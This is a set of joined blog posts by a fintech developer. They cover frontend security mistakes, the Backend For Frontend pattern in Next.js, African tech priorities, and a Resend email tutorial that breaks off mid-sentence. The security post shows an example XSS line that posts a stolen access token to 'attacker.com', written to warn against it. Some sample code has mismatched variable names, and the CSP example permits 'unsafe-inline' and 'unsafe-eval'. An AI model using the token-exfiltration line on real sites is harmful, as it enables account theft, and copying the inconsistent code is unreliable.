In most applications, a bug means a broken UI or a failed request. In a fintech application, a bug can mean a user's money disappears, their account gets compromised, or their personal financial data gets exposed to someone it was never meant to reach.

I have spent years building production fintech applications investment platforms, remittance products, agricultural payment systems. Security is not a phase you add at the end of a sprint. It is a discipline you build into every decision from the first line of code.

These are the mistakes I see most frequently some I caught in code review, some I caught in production, and a few I made myself before I knew better.

Vulnerability 1 — Storing Tokens in localStorage

This is the most common and most dangerous mistake in frontend security.It looks harmless:

// ❌ Never do this
localStorage.setItem('access_token', response.data.token);

// Then later
const token = localStorage.getItem('access_token');

The problem is fundamental. localStorage is accessible by any JavaScript running on your page. If your application has a single XSS (Cross-Site Scripting) vulnerability a malicious script injected through a compromised dependency, an unsanitized user input, or a third-party widget an attacker can read every token stored in localStorage in one line:

// What an attacker does after finding an XSS vulnerability
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('access_token')
  })
});

Your user's session is now in someone else's hands. In a fintech app, that means their account, their balance, their transaction history, and potentially their ability to move money.

The fix:

Store access tokens in memory only never in any browser storage. Use httpOnly cookies for refresh tokens, since httpOnly cookies are completely inaccessible to JavaScript.

for refresh tokens, since httpOnly cookies are completely inaccessible to JavaScript.

// ✅ Store access token in memory only
let accessToken: string | null = null;

export function setAccessToken(token: string) {
  accessToken = token;
}

export function getAccessToken() {
  return accessToken;
}

export function clearAccessToken() {
  accessToken = null;
}

The trade-off is that the access token is lost on page refresh which is why you pair this with a httpOnly refresh token cookie. On every page load, your app silently calls a refresh endpoint, which reads the httpOnly cookie server-side and returns a fresh access token to store in memory.

// On app initialisation — silently refresh the token
async function initialiseAuth() {
  try {
    const response = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include', // sends the httpOnly cookie automatically
    });

    if (response.ok) {
      const { accessToken } = await response.json();
      setAccessToken(accessToken);
    }
  } catch {
    // User is not authenticated — redirect to login
    redirect('/login');
  }
}

Vulnerability 2 — Not Sanitizing User Input Before Sending to the API

Frontend validation is for user experience. Backend validation is for security. Most engineers know this intellectually but still skip input sanitization on the frontend entirely.

Here is why it matters even on the frontend:

In a fintech app, users enter amounts, account numbers, descriptions, and references. Without sanitization, a malicious user can attempt to inject scripts through these fields that execute if the data is ever rendered without proper escaping.

// ❌ Sending raw user input directly
const handleTransfer = async (formData: FormData) => {
  await fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({
      amount: formData.get('amount'),
      reference: formData.get('reference'),
      description: formData.get('description'),
    }),
  });
};

The fix:

Sanitize and validate before sending. For financial amounts specifically, always parse to a number and validate the range. For text fields, strip HTML entirely:

import DOMPurify from 'dompurify';

// ✅ Sanitize before sending
const handleTransfer = async (formData: FormData) => {
  const rawAmount = formData.get('amount') as string;
  const rawDescription = formData.get('description') as string;

  // Parse and validate amount
  const amount = parseFloat(rawAmount);
  if (isNaN(amount) || amount <= 0 || amount > 1_000_000) {
    throw new Error('Invalid amount');
  }

  // Round to 2 decimal places — never trust floating point in finance
  const sanitizedAmount = Math.round(amount * 100) / 100;

  // Strip any HTML from text fields
  const sanitizedDescription = DOMPurify.sanitize(rawDescription, {
    ALLOWED_TAGS: [], // No HTML allowed — plain text only
  });

  await fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({
      amount: sanitizedAmount,
      description: sanitizedDescription,
    }),
  });
};

Vulnerability 3 — Exposing Sensitive Data in the URL

This one is subtle and surprisingly common.

In fintech applications, developers sometimes pass sensitive information through URL parameters for convenience:

// ❌ Never put sensitive data in URLs
/confirm-payment?amount=50000&account=0123456789&token=abc123
/reset-password?email=user@example.com&token=xyz789

URLs are logged everywhere. Browser history. Server logs. Proxy logs. Nginx access logs. Analytics platforms. If any of these systems are compromised or simply misconfigured, you have exposed sensitive financial data or valid tokens to unauthorized parties.

The fix:

Keep sensitive data in request bodies or headers — never in the URL. For multi-step flows like payment confirmation, store the flow state server-side (in a session or temporary database record) and pass only an opaque reference ID in the URL:

// ✅ Only a reference ID in the URL — nothing sensitive
/confirm-payment?ref=a7f3c2e1

// Server looks up the payment details using the ref
// The actual account number, amount, and token never touch the URL

Mistake 4 — Missing CSRF Protection on State-Changing Requests

Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks an authenticated user's browser into making requests to your application without their knowledge.

In a fintech context imagine a user is logged into your payment platform and visits a malicious website. That website contains a hidden form that submits a transfer request to your API. Because the user is authenticated, their session cookie is automatically attached to the request. If your API does not have CSRF protection, the transfer goes through.

This is especially dangerous if you are using cookie-based authentication which, as we established in Vulnerability 1, you should be.

The fix:

Implement the Synchronizer Token Pattern. On every page load, your server generates a unique CSRF token and sends it to the frontend. Every state-changing request (POST, PUT, DELETE) must include this token in a custom header. Since malicious sites cannot read your application's response (due to CORS), they cannot obtain a valid CSRF token.

In Next.js:

// Generate CSRF token server-side
// app/api/auth/csrf/route.ts
import { NextResponse } from 'next/server';
import crypto from 'crypto';

export async function GET() {
  const csrfToken = crypto.randomBytes(32).toString('hex');

  const response = NextResponse.json({ csrfToken });

  // Set as httpOnly cookie too for double-submit cookie pattern
  response.cookies.set('csrf-token', csrfToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
  });

  return response;
}

// Include CSRF token in every state-changing request
const csrfToken = await getCsrfToken(); // fetched on app init

await fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken, // Custom header
    'Content-Type': 'application/json',
  },
  body: JSON.stringify(transferData),
});

Vulnerability 5 — Logging Sensitive Data in the Console

This one costs engineers in code review regularly and sometimes makes it to production unnoticed.

// ❌ This happens more than you think
console.log('Transfer payload:', { 
  accountNumber: '0123456789',
  amount: 50000,
  pin: '1234' 
});

console.log('User data:', userData); // userData contains BVN, address, DOB

Browser consoles are accessible to anyone who opens DevTools. In a shared device or a public computer, this exposes sensitive user data trivially. It is also a compliance issue in fintech, logging PII (Personally Identifiable Information) carelessly can violate NDPR in Nigeria or GDPR in Europe.

The fix:

Strip all console logs in production automatically, and be deliberate about what you log in development:

// vite.config.ts or next.config.js build config
// Remove all console.log calls in production build
{
  drop: process.env.NODE_ENV === 'production' ? ['console'] : [],
}

For development logging, create a safe logger that never logs sensitive fields:

// lib/logger.ts
// All entries lowercase — matches after .toLowerCase() on the key
const SENSITIVE_FIELDS = [
  'pin', 'password', 'token', 'bvn',
  'accountnumber',   
  'cardnumber',    
  'cvv', 'secret',
  'apikey', 'privatekey'
];

function redact(obj: Record<string, unknown>): Record<string, unknown> {
  return Object.fromEntries(
    Object.entries(obj).map(([key, value]) => [
      key,
      SENSITIVE_FIELDS.includes(key.toLowerCase()) ? '[REDACTED]' : value,
    ])
  );
}

// Usage
logger.log('Transfer payload:', {
  accountNumber: '0123456789', // → [REDACTED] 
  cardNumber: '411111111111',  // → [REDACTED] 
  pin: '1234',                 // → [REDACTED] 
  amount: 50000,               // → 50000 
  description: 'Transfer',    // → 'Transfer' 
});

Vulnerability 6 — Trusting the Frontend for Authorization

This mistake does not live in the frontend code itself it lives in the assumptions the backend makes because of what the frontend does.

A common pattern I have seen:

// ❌ Hiding UI elements based on role — and assuming that's enough
{user.role === 'admin' && (
  <button onClick={deleteUserAccount}>Delete Account</button>
)}

The button is hidden. The API endpoint it calls is not protected. Any user who knows the endpoint URL or inspects the network tab can call it directly with their own token.

Frontend authorization is UI logic. It controls what users see. It does not control what they can do. Every API endpoint must enforce authorization server-side independently of whatever the frontend shows or hides.

The fix:

Always verify authorization server-side. On the frontend, be explicit that role checks are presentation only:

// ✅ UI-level role check — presentation only
// The actual protection lives in the API route
{user.role === 'admin' && (
  <button onClick={deleteUserAccount}>Delete Account</button>
)}

// In your Next.js API route — real authorization
// app/api/admin/delete-user/route.ts
export async function DELETE(request: NextRequest) {
  const session = await getServerSession(authOptions);

  // This check is the real protection
  if (!session || session.user.role !== 'admin') {
    return NextResponse.json(
      { error: 'Forbidden' },
      { status: 403 }
    );
  }

  // Proceed with deletion
}

Vulnerability 7 — Not Setting Security Headers

Security headers are one of the highest-impact, lowest-effort security improvements you can make in a Next.js application. Most applications ship without them.

// next.config.js
const securityHeaders = [
  {
    key: 'X-DNS-Prefetch-Control',
    value: 'on',
  },
  {
    // Prevents clickjacking attacks
    key: 'X-Frame-Options',
    value: 'SAMEORIGIN',
  },
  {
    // Prevents MIME type sniffing
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    // Forces HTTPS
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload',
  },
  {
    // Controls what browser features your app can use
    key: 'Permissions-Policy',
    value: 'camera=(), microphone=(), geolocation=()',
  },
  {
    // Prevents information leakage in referrer headers
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin',
  },
  {
    // Content Security Policy — most powerful, most complex
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self' 'unsafe-eval' 'unsafe-inline'",
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' blob: data:",
      "font-src 'self'",
      "object-src 'none'",
      "base-uri 'self'",
      "form-action 'self'",
      "frame-ancestors 'none'",
      "block-all-mixed-content",
      "upgrade-insecure-requests",
    ].join('; '),
  },
];

const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: securityHeaders,
      },
    ];
  },
};

module.exports = nextConfig;

The Mindset Shift

Individual security fixes matter. But the bigger shift is learning to think adversarially about your own code.

Before shipping any feature that touches money, authentication, or personal data, ask yourself:

• What happens if someone calls this API endpoint directly without going through my UI?

• What happens if a malicious script runs on this page?

• What happens if this URL ends up in a server log?

• What data am I putting in the browser that should stay on the server?

• What am I assuming the backend will validate that it might not?

Security in fintech is not a checklist you complete. It is a perspective you develop. The engineers who build the most secure financial products are not the ones who memorized the most security rules. They are the ones who internalized the question: what could go wrong here, and who could make it go wrong?

Build with that question running in the background constantly. Your users are trusting you with their money. That trust is the most serious professional responsibility a fintech engineer carries.

You are building a feature. The backend gives you an endpoint. You call it. It returns 47 fields. You need 6. The other 41 travel across the network, get parsed by the browser, sit in memory, and do nothing.

Then the mobile team needs the same data. But they need it shaped differently. So the backend builds another endpoint. Or adds query parameters. Or you build a second fetch call and merge the responses on the frontend.

The codebase gets messier. The network gets chattier. The user experience gets slower.

There is a name for this problem. And there is a pattern that solves it.

It is called the Backend For Frontend — or BFF.

What BFF Actually Is

The Backend For Frontend pattern is an architectural approach where you create a dedicated backend layer — one that exists specifically to serve your frontend's needs.

Not a general-purpose API. Not a microservice that every client shares. A backend that speaks your frontend's language, returns exactly what your UI needs, and handles the complexity of talking to multiple backend services so your frontend does not have to.

The concept was first articulated clearly by Sam Newman in 2015 — but it has become dramatically more relevant in the Next.js era because Next.js gives you the perfect tool to implement it: API Routes and Server Actions.

Most Next.js developers use API routes for simple things — a contact form handler, a webhook receiver, a small utility endpoint. Very few use them as a proper BFF layer. That is the gap this article addresses.

The Problem BFF Solves — A Real Example

Let me show you a concrete situation before explaining the solution.

Imagine you are building a fintech dashboard. Your dashboard page needs to display:

• User account details (name, KYC status, account tier)

• Recent transactions (last 10, with amounts and status)

• Current profile

• Notifications (unread count)

Without BFF, your frontend makes four separate API calls:

// ❌ Without BFF — 4 separate calls from the browser
const [user, transactions, portfolio, notifications] = await Promise.all([
  fetch('/api/users/me'),
  fetch('/api/transactions?limit=10'),
  fetch('/api/profile/summary'),
  fetch('/api/notifications/unread-count')
]);

This works. But it has real problems:

Problem 1 — Waterfalling data: If any of these calls fail, your UI is in a partial state. You need to handle four separate loading states, four separate error states, and four separate retry mechanisms.

Problem 2 — Over-fetching: Each endpoint returns full objects. The user endpoint returns 30 fields. You display 4 of them. The transaction endpoint returns full transaction objects. You display amount, date, and status.

Problem 3 — Exposed backend structure: Your frontend now knows about four separate backend services. If the backend team restructures their services, your frontend breaks.

Problem 4 — Auth complexity duplicated everywhere: Every single call needs to attach the auth token, handle 401 responses, and manage token refresh. That logic lives in multiple places.

Now here is the same thing with a BFF:

// ✅ With BFF — 1 call from the browser
const dashboard = await fetch('/api/dashboard');

And the BFF layer handles everything else.

How BFF Works in Next.js

Next.js is uniquely positioned for BFF implementation because it runs on Node.js — meaning your API routes have full server capabilities. They can call external APIs, access environment variables securely, transform data, aggregate responses, and return exactly what your UI needs.

Here is the architecture:

Browser (React Components)
         ↓
Next.js API Routes (Your BFF Layer)
         ↓
External Backend Services / APIs

Your React components never talk to external APIs directly. They talk to your BFF. Your BFF talks to everyone else.

Building a Real BFF in Next.js — Step by Step

Let me build the dashboard example properly.

Project Structure

app/
├── api/
│   ├── dashboard/
│   │   └── route.ts          ← BFF endpoint
│   ├── transactions/
│   │   └── route.ts
│   └── auth/
│       └── [...nextauth]/
│           └── route.ts
├── dashboard/
│   └── page.tsx              ← Uses BFF
lib/
├── api-client.ts             ← Internal helper for BFF to call backends
└── auth.ts

Step 1 — Create an Internal API Client

This is the module your BFF uses to call backend services. It handles auth, base URLs, and error handling in one place:

// lib/api-client.ts

const BACKEND_URL = process.env.BACKEND_API_URL;

interface ApiClientOptions {
  token: string;
  endpoint: string;
  method?: 'GET' | 'POST' | 'PUT' | 'DELETE';
  body?: unknown;
}

export async function backendFetch<T>({
  token,
  endpoint,
  method = 'GET',
  body,
}: ApiClientOptions): Promise<T> {
  const response = await fetch(`${BACKEND_URL}${endpoint}`, {
    method,
    headers: {
      'Authorization': `Bearer ${token}`,
      'Content-Type': 'application/json',
    },
    body: body ? JSON.stringify(body) : undefined,
    // Next.js cache control
    next: { revalidate: 30 }, // Cache for 30 seconds
  });

  if (!response.ok) {
    throw new Error(`Backend error: ${response.status} ${endpoint}`);
  }

  return response.json();
}

Step 2 — Build the BFF Endpoint

This is the dashboard BFF route. It calls multiple backend services, shapes the data, and returns exactly what the UI needs — nothing more:

// app/api/dashboard/route.ts

import { NextRequest, NextResponse } from 'next/server';
import { getServerSession } from 'next-auth';
import { backendFetch } from '@/lib/api-client';
import { authOptions } from '@/lib/auth';

// Types for backend responses (usually much larger than this)
interface BackendUser {
  id: string;
  firstName: string;
  lastName: string;
  email: string;
  kycStatus: string;
  accountTier: string;
  phoneNumber: string;
  createdAt: string;
  // ... 20 more fields we don't need
}

interface BackendTransaction {
  id: string;
  amount: number;
  currency: string;
  status: string;
  type: string;
  reference: string;
  description: string;
  createdAt: string;
  // ... more fields
}

// Shaped types — exactly what the UI needs
interface DashboardResponse {
  user: {
    name: string;
    kycStatus: string;
    accountTier: string;
  };
  recentTransactions: {
    id: string;
    amount: number;
    currency: string;
    status: string;
    date: string;
  }[];
  profileValue: number;
  unreadNotifications: number;
}

export async function GET(request: NextRequest) {
  try {
    // 1. Get the session — auth is handled once here, not in every component
    const session = await getServerSession(authOptions);

    if (!session?.accessToken) {
      return NextResponse.json(
        { error: 'Unauthorized' },
        { status: 401 }
      );
    }

    const token = session.accessToken as string;

    // 2. Call all backend services in parallel
    const [user, transactions, profile, notifications] = 
      await Promise.all([
        backendFetch<BackendUser>({
          token,
          endpoint: '/users/me',
        }),
        backendFetch<{ data: BackendTransaction[] }>({
          token,
          endpoint: '/transactions?limit=10&sort=desc',
        }),
        backendFetch<{ totalValue: number }>({
          token,
          endpoint: '/profile/summary',
        }),
        backendFetch<{ count: number }>({
          token,
          endpoint: '/notifications/unread',
        }),
      ]);


    // 3. Shape the response — return only what the UI needs
    const response: DashboardResponse = {
      user: {
        name: `${user.firstName} ${user.lastName}`,
        kycStatus: user.kycStatus,
        accountTier: user.accountTier,
      },
      recentTransactions: transactions.data.map((tx) => ({
        id: tx.id,
        amount: tx.amount,
        currency: tx.currency,
        status: tx.status,
        date: tx.createdAt,
      })),
      profileValue: profile.totalValue,
      unreadNotifications: notifications.count,
    };

    return NextResponse.json(response);

  } catch (error) {
    console.error('Dashboard error:', error);
    return NextResponse.json(
      { error: 'Failed to load dashboard data' },
      { status: 500 }
    );
  }
}

Step 3 — Consume the BFF in Your Component

Now your React component is clean. No auth logic. No multiple fetches. No data transformation:

// app/dashboard/page.tsx

async function getDashboardData() {
  const response = await fetch(
    `${process.env.NEXTAUTH_URL}/api/dashboard`, 
    { next: { revalidate: 30 } }
  );

  if (!response.ok) {
    throw new Error('Failed to fetch dashboard');
  }

  return response.json();
}

export default async function DashboardPage() {
  const data = await getDashboardData();

  return (
    <main>
      <h1>Welcome back, {data.user.name}</h1>
      <p>Account tier: {data.user.accountTier}</p>
      <p>Portfolio value: {data.portfolioValue}</p>
      <p>Unread notifications: {data.unreadNotifications}</p>

      <section>
        <h2>Recent Transactions</h2>
        {data.recentTransactions.map((tx) => (
          <div key={tx.id}>
            <span>{tx.amount} {tx.currency}</span>
            <span>{tx.status}</span>
            <span>{tx.date}</span>
          </div>
        ))}
      </section>
    </main>
  );
}

The component is now a pure presentation layer. It receives shaped data and renders it. Nothing else.

The Next.js 14+ Way — Server Actions as BFF

With Next.js App Router and Server Actions, you can take the BFF pattern even further. Instead of an API route, you can use a Server Action directly:

// app/dashboard/actions.ts
'use server'

import { getServerSession } from 'next-auth';
import { backendFetch } from '@/lib/api-client';

export async function getDashboardData() {
  const session = await getServerSession();

  if (!session?.accessToken) {
    throw new Error('Unauthorized');
  }

  const [user, transactions, profile, notifications] =
    await Promise.all([
      backendFetch({ token: session.accessToken, endpoint: '/users/me' }),
      backendFetch({ token: session.accessToken, endpoint: '/transactions?limit=10' }),
      backendFetch({ token: session.accessToken, endpoint: '/profile/summary' }),
      backendFetch({ token: session.accessToken, endpoint: '/notifications/unread' }),
    ]);

  // Shape and return
  return {
    user: {
      name: `${user.firstName} ${user.lastName}`,
      kycStatus: user.kycStatus,
    },
    recentTransactions: transactions.data.slice(0, 10).map((tx) => ({
      id: tx.id,
      amount: tx.amount,
      status: tx.status,
    })),
    portfolioValue: portfolio.totalValue,
    unreadNotifications: notifications.count,
  };
}

// app/dashboard/page.tsx
import { getDashboardData } from './actions';

export default async function DashboardPage() {
  const data = await getDashboardData();
  // Render...
}

Server Actions eliminate the HTTP round-trip between your component and the BFF entirely. The server function runs server-side directly. Faster. Cleaner. More secure.

What BFF Protects You From

Beyond performance and clean code, BFF gives you something less obvious but critically important — insulation.

When your backend team restructures their services — and they will — your frontend does not break. Your BFF absorbs the change. You update the BFF. The frontend component never knows anything changed.

This is especially valuable in fintech products where backend architecture evolves rapidly as the product scales. I've experienced this directly — backend changes that would have required frontend updates across multiple components instead required a single change to the BFF layer.

When NOT to Use BFF

BFF is not always the right answer. Be honest with yourself:

• Simple CRUD apps — if your frontend maps directly to your backend resources with no transformation needed, BFF adds complexity without benefit

• Small teams where you own the backend — if you control both frontend and backend, you can shape the API directly and skip the BFF layer

• Apps with a single client — BFF shines when multiple clients (web, mobile, internal tools) need the same backend data shaped differently. One client does not justify the pattern

Summary

The BFF pattern is not exotic architecture. In Next.js, it is a natural extension of API routes and Server Actions that most developers are already using — just not intentionally.

The key ideas:

• Your frontend should never talk directly to external backend services

• Your BFF aggregates, shapes, and secures data before it reaches the browser

• Auth is handled once in the BFF — not scattered across components

• Components become pure presentation layers — they receive shaped data and render it

• Next.js API routes and Server Actions are purpose-built for this pattern

Once you start thinking in BFF, you will find it difficult to go back. The separation of concerns is too clean. The components are too readable. The network is too quiet.

If you live in San Francisco, you'll probably build tools for AI, developer productivity, or venture-backed startups.

If you live in London, you might spend your days improving digital banking, logistics, or enterprise software.

If you live in Lekki, you'll naturally notice problems around digital payments, food delivery, transportation, or online commerce.

None of this is wrong.

We build for the world around us.

The challenge is that most African software engineers no longer build where most Africans actually live.

The Urban Gravity Problem

Across Africa, ambitious engineers leave smaller towns and rural communities for major cities.

That decision makes complete sense.

Cities offer better jobs, faster internet, stronger engineering communities, better universities, larger companies, and more opportunities to grow.

Over time, something else changes.

The problems you think about every day begin to change too.

Instead of thinking about farmers struggling to access market prices, you think about food delivery.

Instead of thinking about healthcare access in rural communities, you think about appointment booking apps.

Instead of thinking about transportation between villages, you think about ride-hailing.

Again, none of these problems are unimportant.

But they are urban problems.

And Africa is much larger than its cities.

We Build What We Understand

I don't believe African engineers are ignoring rural communities.

I think something much simpler is happening.

Engineers solve problems they understand.

It's difficult to build software for people whose daily lives you no longer experience.

If you've spent years living in an urban environment, your assumptions begin to change.

You assume reliable internet.

You assume smartphones.

You assume digital payments.

You assume constant electricity.

You assume English.

For millions of Africans, those assumptions don't hold.

When our assumptions drift away from reality, our products often do too.

Africa Doesn't Need to Copy Silicon Valley

Every few months, there's a new conversation about whether Africa has produced enough unicorns, enough venture capital, or enough AI startups.

I think we're asking the wrong question.

Africa doesn't need to copy Silicon Valley's priorities.

Silicon Valley was shaped by its own environment.

Its technology reflects the problems people there needed to solve.

Africa deserves the same opportunity.

Our goal shouldn't be to recreate someone else's ecosystem.

It should be to build technology that reflects African realities.

Success isn't building the African version of someone else's company.

Success is solving problems that only people who understand Africa would think to solve.

AI Is More Than Chatbots

When people hear "AI," they often imagine humanoid robots, self-driving cars, or the next ChatGPT.

Those are exciting technologies.

But they're not where Africa's greatest opportunity lies.

Artificial intelligence is simply a way of learning from data and making better decisions.

Imagine systems that can identify areas where crime is increasing before resources are deployed.

Systems that detect unusual fraud patterns across financial networks.

Models that help governments understand transportation bottlenecks.

Tools that monitor inflation trends across local markets.

Applications that help communities prepare for floods or disease outbreaks.

These aren't science fiction.

They're practical problems that can improve everyday life.

The value isn't in building AI because it's fashionable.

The value is in applying intelligence where it creates meaningful impact.

Build for the Community You Know

One idea has stayed with me for a long time.

An engineer who grows up in Kaiama sees different problems from an engineer who grows up in Lekki.

Neither perspective is more valuable than the other.

But they are different.

The danger is when every engineer eventually moves to the same few cities.

As that happens, entire communities slowly disappear from the conversations that shape African technology.

Not because anyone intended to exclude them.

Simply because proximity shapes perspective.

Sometimes the biggest opportunity isn't creating another product for people who already have ten alternatives.

It's solving the first meaningful problem for people who have none.

Technology Begins with Understanding

Before we write code, train models, or raise funding, we need to understand the people we're building for.

Technology isn't valuable because it's modern.

It's valuable because it solves real problems.

Sometimes the best solution will use artificial intelligence.

Sometimes it will use machine learning.

Sometimes it will be nothing more than SMS, USSD, or a simple mobile application.

The technology itself isn't the achievement.

Improving people's lives is.

The Future of African Tech

Africa has extraordinary engineers.

We don't lack talent.

We don't lack creativity.

What we need is intentionality.

We need engineers who are willing to look beyond the problems that dominate social media and startup conferences.

Engineers who ask difficult questions.

Who spend time understanding communities unlike their own.

Who build for people who are often overlooked because they don't represent the loudest or most profitable market.

Africa doesn't need to become the next Silicon Valley.

Africa needs to become better at solving African problems.

If we do that well, we won't spend our time trying to catch up with the rest of the world.

We'll build solutions the rest of the world has never imagined.

What We Keep Building The African startup ecosystem in 2026 is dominated by a few categories: Fintech — payments, lending, remittances, investment. This is the most developed category and genuinely the most impactful. Paystack, Flutterwave, Moniepoint, and others have materially changed how money moves across the continent. This is real progress. Logistics and e-commerce — delivery, last-mile logistics, online retail. Also genuinely impactful, though still concentrated in a handful of major cities. B2B SaaS — tools for African businesses to manage operations, HR, accounting. Growing fast, largely serving the formal economy. These are all good things. But they share a common characteristic: they serve the African middle class and formal economy primarily. The majority of Africans — subsistence farmers, informal traders, rural communities, people without smartphones — are largely outside the ecosystem these products serve.

What Africa Actually Needs

1. Agricultural technology that works offline Agriculture employs over 60% of Africa's workforce. The average African farmer makes decisions about planting, fertilizer, pest control, and market timing with dramatically less information than they could have access to. The problem is not that agricultural apps do not exist. They do. The problem is that most of them require a smartphone and a data connection. The farmer who needs them most often has neither. What is actually needed: SMS-based agricultural advisory systems, USSD interfaces for market price data, offline-capable mobile apps that sync when connectivity is available. Low-tech delivery of high-value information.

2. Healthcare infrastructure, not healthcare apps Africa does not primarily need another telemedicine app for urban middle-class users who already have reasonable healthcare access. It needs digital infrastructure that makes the existing healthcare system work better. Electronic health records that work across facilities. Supply chain management for medicines and vaccines — the WHO estimates that between 10-30% of medicines in sub-Saharan Africa are substandard or falsified, partly because of supply chain opacity. Diagnostic tools that work in low-resource settings. This is harder to build than a consumer app. It requires working with governments, NGOs, and health systems rather than going direct-to-consumer. That is why it gets less startup attention.

3. Local language technology Africa has over 2,000 languages. The vast majority of technology built in and for Africa is built in English, French, or Portuguese — the languages of the colonizers. Most Africans are not illiterate. They are literate in languages that technology largely ignores. A farmer in rural Kogi State is fully capable of using a sophisticated app — if it spoke Igala. An elder in a Ijaw fishing community could navigate complex information — if it was in Izon. Natural language processing for African languages is one of the most underfunded and underbuilt categories in African tech. Large language models trained predominantly on English perform significantly worse on African languages. This is not an accident — it reflects whose knowledge is considered worth encoding.

4. Infrastructure for the informal economy The informal economy accounts for roughly 85% of employment in sub-Saharan Africa. Street traders, artisans, informal service providers — the vast majority of economic activity happens outside the formal systems that most fintech products are built to serve. Inventory management tools that work without internet. Simple point-of-sale systems that accept cash and mobile money. Supply chain connections that give informal traders access to wholesale pricing. Credit systems that assess creditworthiness without formal employment or bank history. Moniepoint has made progress here. But the surface area of the problem is enormous.

What African Engineers Can Do About It I am not arguing that every African engineer should abandon their career to solve these problems. I am arguing that the choices African engineers make about what to build and what to join matter. A few practical thoughts: Consider the user you are excluding, not just the user you are designing for. Every product decision that requires a smartphone, a data connection, or English literacy is a decision to exclude a significant portion of the African population. That is sometimes the right call. But it should be a conscious one. Government and NGO work is not beneath you. Some of the highest-impact engineering problems in Africa sit inside governments, health ministries, and international NGOs. The engineers who solve those problems rarely get TechCabal writeups. They matter enormously anyway. Build in African languages where you can. If you are building a product for a specific African community, consider whether you could build it in that community's language. Even partial localization is better than none. Preserve what is being lost. If you have a grandmother, a village elder, a community knowledge-keeper — record them. Document what they know. You do not need a startup to do this. You need a phone, some time, and the intention.

The Opportunity Is Real None of this is to say the African tech ecosystem is failing. It is not. It is growing faster than almost anywhere in the world, producing genuinely world-class engineers and products. But the next generation of African tech — the generation that will matter most — will be built by engineers who understand that the opportunity is not just in serving the African middle class better. It is in serving the 80% that the current ecosystem largely does not reach. That is a harder problem. It is also a much larger opportunity. And it will be built by engineers who grew up in the constraint, understand it from the inside, and refuse to build products that treat their own people as an afterthought.

The emails send successfully, but they come from your personal Gmail address. That means every person who submits the form sees your name and Gmail address. If you're building something for a client or organization, that's far from ideal.

I ran into this issue while building an automated onboarding workflow for a client. Every time someone submitted the registration form, the confirmation email displayed my personal Gmail address as the sender. It worked, but it wasn't professional and certainly wasn't something I wanted in a production system.

Like most developers, I tried the obvious solutions first—Gmail aliases, changing the from field in GmailApp, and a few other workarounds. None of them solved the problem cleanly. Either my personal email was still exposed, or the setup was too complicated for the client to manage.

Then I remembered I was already using Resend for transactional emails in another application. That turned out to be exactly what I needed.

In this tutorial, I'll show you how to replace GmailApp with Resend in Google Apps Script, step by step, and include the complete working code so you can implement it yourself.

Why GmailApp Falls Short for Professional Projects

Before we get into the solution, let us understand the core problem.

When you use GmailApp.sendEmail() in Google Apps Script, the email is sent from whichever Google account authorised the script. There is no clean way around this. Even if you add a from field, it only works if that email is already set up as a verified Gmail alias — which requires manual setup inside Gmail settings and verification through the target inbox.

The practical problems this creates:

• Your personal Gmail address appears as the sender to every form respondent

• If you hand the project to a client, the emails still come from your account

• If your Gmail account changes or gets suspended, the whole system breaks

• Deliverability is inconsistent — Gmail sending limits are strict and emails can land in spam

Resend solves all of these problems. It is a developer-first email API that sends from your own verified domain, has excellent deliverability, and works beautifully with Google Apps Script through a simple HTTP request.

What Is Resend?

Resend is a transactional email service built specifically for developers. Instead of configuring SMTP servers or fighting with Gmail settings, you verify your domain once, get an API key, and send emails programmatically from any address on that domain.

For example, once you verify yourdomain.com on Resend, you can send emails from:

• hello@yourdomain.com

• noreply@yourdomain.com

• team@yourdomain.com

All professionally, reliably, and with your brand front and centre.

Pricing: Resend's free tier includes 3,000 emails per month and 100 emails per day, making it a great option for projects, prototypes, and many production applications.

Prerequisites

Before you start, make sure you have:

• A Google Form connected to a Google Sheet

• A Resend account (free at resend.com)

• A verified domain on Resend (takes about 10 minutes — Resend walks you through adding DNS records)

• Basic familiarity with Google Apps Script (you have opened it before)

Step 1 — Get Your Resend API Key

1. Log into your Resend dashboard at resend.com

2. Click "API Keys" in the left sidebar

3. Click "Create API Key"

4. Give it a name — something like my-forms-key

5. Set permission to "Sending access"

6. Click "Add"

7. Copy the key immediately — Resend only shows it once

Your API key looks like this:

re_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Keep this safe. Do not share it. Do not push it to GitHub.

Step 2 — Open Google Apps Script

1. Open your Google Sheet connected to the form

2. Click Extensions in the top menu

3. Click Apps Script

4. This opens the Apps Script editor — this is where all the magic happens

Step 3 — Store Your API Key Safely

Never paste your API key directly into the script as plain text. Instead, use Script Properties — a secure key-value store built into Apps Script. How to set it up:

In the Apps Script editor, click the ⚙️ gear icon (Project Settings) in the left sidebar Scroll down to "Script Properties" Click "Add Script Property" Set:

Property: RESEND_API_KEY Value: re_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (your actual key)

Click "Save Script Properties"

Now your API key is stored securely and you reference it in code like this: javascript const RESEND_API_KEY = PropertiesService .getScriptProperties() .getProperty("RESEND_API_KEY");

Step 4 — Write the Resend Helper Function

Google Apps Script does not support npm packages — so you cannot install the Resend SDK directly. Instead, you call the Resend API using UrlFetchApp.fetch() — Apps Script's built-in HTTP request tool.

Here is the helper function that handles all email sending:

javascript

function sendViaResend(apiKey, from, to, subject, htmlBody) {
  const url = "https://api.resend.com/emails";

  const payload = {
    from: from,
    to: [to],
    subject: subject,
    html: htmlBody
  };

  const options = {
    method: "post",
    contentType: "application/json",
    headers: {
      "Authorization": "Bearer " + apiKey
    },
    payload: JSON.stringify(payload),
    muteHttpExceptions: true
  };

  const response = UrlFetchApp.fetch(url, options);
  const result = JSON.parse(response.getContentText());

  Logger.log(result);

  return result;
}

This function takes five arguments:

